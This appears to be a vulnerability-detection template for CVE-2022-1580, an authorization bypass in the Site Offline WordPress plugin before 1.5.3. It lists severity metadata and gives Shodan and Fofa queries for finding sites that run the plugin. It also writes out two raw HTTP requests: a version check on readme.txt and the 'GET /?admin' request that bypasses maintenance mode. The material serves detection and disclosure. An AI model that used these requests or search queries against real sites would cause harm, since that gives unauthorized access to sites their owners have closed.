| Title | Site Offline WP Plugin < 1.5.3 - Authorization Bypass |
|---|---|
| Author | s4e-io |
| Severity | Medium |
| Impact | Attackers can bypass the site offline/maintenance mode by adding specific keywords to the URL query string, gaining unauthorized access to the website. |
| Remediation | Fixed in 1.5.3 |
| CVSS Score | 4.3 |
| EPSS Score | 0.07418 |
| CVE ID | CVE-2022-1580 |
| CWE ID | CWE-639 |
| Shodan Query | http.html:/wp-content/plugins/site-offline/ |
| Fofa Query | body=/wp-content/plugins/site-offline/ |
| Tags | cve cve2022 wpscan site-offline wordpress wp-plugin wp freehtmldesigns vuln |
The plugin prevents users from accessing a website but does not do so if the URL contained certain keywords. Adding those keywords to the URL’s query string would bypass the plugin’s main feature.
GET /wp-content/plugins/site-offline/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /?admin HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.20
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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